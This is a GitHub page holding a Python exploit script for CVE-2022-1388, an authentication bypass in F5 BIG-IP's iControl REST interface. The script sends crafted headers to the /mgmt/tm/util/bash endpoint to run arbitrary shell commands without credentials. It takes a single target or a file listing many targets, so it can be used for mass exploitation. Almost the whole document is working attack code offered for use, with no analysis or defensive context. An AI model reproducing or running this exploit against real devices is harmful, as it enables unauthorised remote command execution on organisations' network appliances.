-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathCVE-2022-1388.py
60 lines (40 loc) · 1.78 KB
/
CVE-2022-1388.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/env python3
import argparse, requests, urllib3
from termcolor import colored
import concurrent.futures
urllib3.disable_warnings()
def exploit(target, command):
try:
url = f'https://{target}/mgmt/tm/util/bash'
headers = {
'Host': '127.0.0.1',
'Authorization': 'Basic YWRtaW46',
'X-F5-Auth-Token': '0',
'Connection': 'X-F5-Auth-Token',
'Content-Type': 'application/json'
}
j = {'command':'run','utilCmdArgs':'-c "{0}"'.format(command)}
r = requests.post(url, headers=headers, json=j, verify=False, timeout=5)
if ( r.status_code != 204 and r.headers['content-type'].strip().startswith('application/json')):
print(target + '\t> ' + r.json()['commandResult'].strip())
else:
print(colored('Target is not vulnerable', "yellow", attrs=['bold']))
except Exception as e:
print(colored(e, "yellow", attrs=['bold']))
if __name__ == "__main__":
## parse argument
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='The IP address of the target, eg: 127.0.0.1:80', default=False)
parser.add_argument("-l", "--list", action="store", help="Target urls saperated with new line", default=False)
parser.add_argument('-c', '--command', help='The command to execute, eg: id', default='id')
args = parser.parse_args()
if args.target is not False:
exploit(args.target, args.command)
elif args.list is not False:
with open(args.list) as targets:
for target in targets:
target = target.rstrip()
exploit(target, args.command)
else:
parser.print_help()
parser.exit()